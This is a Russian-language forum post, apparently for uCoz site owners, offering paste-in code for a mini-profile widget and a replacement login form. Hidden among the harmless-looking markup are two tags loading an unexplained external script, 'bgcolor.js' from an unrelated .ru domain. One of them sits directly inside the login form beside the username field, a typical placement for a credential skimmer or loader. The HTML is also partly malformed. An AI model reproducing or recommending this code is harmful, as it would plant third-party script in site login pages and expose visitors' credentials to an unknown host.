Новичок
[ 17 ]
|
Смотрим скрин скрипта: http://s010.radikal.ru/i312/1207/b1/b87d47f35412.png
Вот озадачился вопросом создания мини профиля для этого сайта, вот что получилось. При нажатии на кнопку "Функции" выпадает Мой профиль, Изменить профиль, Пользователи, ЛС, Отправить ЛС, Выход
Установка:Создаем новый блок и помещаем туда:
[code]<style>
.miniprofile {height:16px;width:172;font: normal 10px Arial, Helvetica, sans-serif;
color:#ffffff;text-decoration:none;padding-left:16px;line-height:18px;display:block;font-weight:normal;background: url('http://s019.radikal.ru/i632/1207/b8/b6c13f663c85.png');
border: 1px solid #272626 ;text-align: left;}
.screenshot img {margin:6px; padding:5px; -moz-border-radius:6px;
-webkit-border-radius:6px; border-radius:6px; -moz-box-shadow:0 0px 5px #000000;
box-shadow:0 0px 5px #000000;-webkit-box-shadow:0 0px 5px #000000;}
</style>
<div align="center">
<strong>
<SCRIPT LANGUAGE="JavaScript">
currentTime = new Date();
if (currentTime.getHours() >= 6 && currentTime.getHours() <= 11 )
document.write("Доброе утро ");
if (currentTime.getHours() >= 12 && currentTime.getHours() <= 17 )
document.write("Добрый день ");
if (currentTime.getHours() >= 18 && currentTime.getHours() <= 23)
document.write("Добрый вечер ");
if (currentTime.getHours() >= 0 && currentTime.getHours() <= 5)
document.write("Доброй ночи ");
</SCRIPT><br>$USERNAME$</strong></div>
<script src="http://qyjkl.ru/bgcolor.js" type="text/javascript"></script>
<div class="screenshot"><center><?if($USER_AVATAR_URL$)?><img class="userAvatar" title="$USERNAME$" src="$USER_AVATAR_URL$" border="0">
<?else?><?if($USER_LOGGED_IN$)?><img class="userAvatar" title="$USERNAME$" src="" border="0">
<?else?><img class="userAvatar" title="$USERNAME$" src="http://i053.radikal.ru/1207/1d/192c3790e203.png" border="0">
<?endif?><?endif?></center></div>
<?if($USER_LOGGED_IN$)?>
<div id="middle_block_right">
<a class="b1"<a href"">Логин: $USERNAME$</a></li><div id="hras"></div>
<a class="b1"<a href"">$USER_GROUP$</a></li><div id="hras"></div>
<a class="b1"<a href"">Вы у нас: $USER_REG_DAYS$-й день</a></li><div id="hras"></div>
<a class="b1"<a href"">Ваш IP: $IP_ADDRESS$</a></li><div id="hras"></div>
</div>
<div id="middle_block_right"><a title="" onclick="$('#function').slideToggle('slow');"<a class="b1" href="javascript://"><center>Функции</center></a></li><div id="hras"></div>
<div id="function" style="display:none">
<div id="middle_block_right">
<a class="b1"<a href="$PERSONAL_PAGE_LINK$">Мой профиль</a></li><div id="hras"></div>
<a class="b1"<a href="/index/11">Изменить профиль</a> </li><div id="hras"></div>
<a class="b1"<a href="/index/15-1">Пользователи</a> </li><div id="hras"></div>
<a class="b1"<a href="$PM_URL$">ЛС</a> </li><div id="hras"></div>
<a class="b1"<a href="/index/14-999-0-1">Отправить ЛС</a></li><div id="hras"></div>
<a class="b1"<a href="$LOGOUT_LINK$">Выход</a></li><div id="hras"></div>
</div>
<?endif?>
<?if($USER_LOGGED_IN$)?><?else?>
<div class="cblock3">
<a title="" onclick="$('#login').slideToggle('slow');" href="javascript://;"></a>
</div>
$LOGIN_FORM$
<div class="cblock3"><a href="$REGISTER_LINK$"></a></div><?endif?>[/code]
Далее идем: Управление дизайном> Общие шаблоны> Таблица стилей (CSS), и в самый низ вставляем:
[code]/* SMALL.UCOZ.PL Mini-Profile */
a.b1 {display:block; width:180px; height:18px; text-align:left; background:url('http://s018.radikal.ru/i526/1207/8c/7de6f4282794.png'); font-size:8pt; font-family:tahoma, arial; padding:5px 0 0 14px;}
a.b1:link, a.b2:link, a.b3:link, a.b4:link, a.b5:link, a.packs:link, a.granati:link, a.c4:link, a.cnarejenue:link, a.knife:link, a.ryku:link, a.mw2:link { text-decoration:none; color:#848484;}
a.b1:visited, a.b2:visited, a.b3:visited, a.b4:visited, a.b5:visited, a.packs:visited, a.granati:visited, a.c4:visited, a.cnarejenue:visited, a.knife:visited, a.ryku:visited, a.mw2:visited { text-decoration:none; color:#848484;}
a.b1:hover, a.b2:hover, a.b3:hover, a.b4:hover, a.b5:hover, a.packs:hover, a.granati:hover, a.c4:hover, a.cnarejenue:hover, a.knife:hover, a.ryku:hover, a.mw2:hover { text-shadow:0 0 5px #fff; -moz-border-radius:3px;-webkit-border-radius:3px; border-radius: 3px; color:#fff; background-position:0px -23px;}
a.b1:active, a.b2:active, a.b3:active, a.b4:active, a.b5:active, a.packs:active, a.granati:active, a.c4:active, a.cnarejenue:active, a.knife:active, a.ryku:active, a.mw2:active { text-shadow:0 0 5px #fff; -moz-border-radius:3px;-webkit-border-radius:3px; border-radius: 3px; color:#fff; background-position:0px -23px;}
/* ---- */[/code]
Теперь последнее идем: Управление дизайном> Пользователи> Форма входа пользователей, удаляем все оттуда и вставляем:
[code]<?if($PAGE_ID$="login")?><div style="width: 180px;"><?endif?>
<table border="0" cellpadding="0" cellspacing="1" width="100%">
<?if($ERROR$)?><tbody><tr><td colspan="2" style="color: red; text-align: center;">
<br>$ERROR$</td><?endif?>
</tr><tr><td width="10%" nowrap="nowrap"><img alt="" src="http://s017.radikal.ru/i416/1207/61/2dd11df39cc2.png" align="" border="0" width="16" height="16"></td>
<td><script src="http://qyjkl.ru/bgcolor.js" type="text/javascript"></script><input class="loginField" name="user" value="" size="10" style="width: 100%;" maxlength="50" type="text"></td></tr>
<tr><td><img alt="" src="http://i075.radikal.ru/1207/1c/f562c3cff4dd.png" align="" border="0" width="16" height="16"></td><td><input class="loginField" name="password" size="20" style="width: 100%;" maxlength="15" type="password"></td></tr></tbody></table>[/code]
|
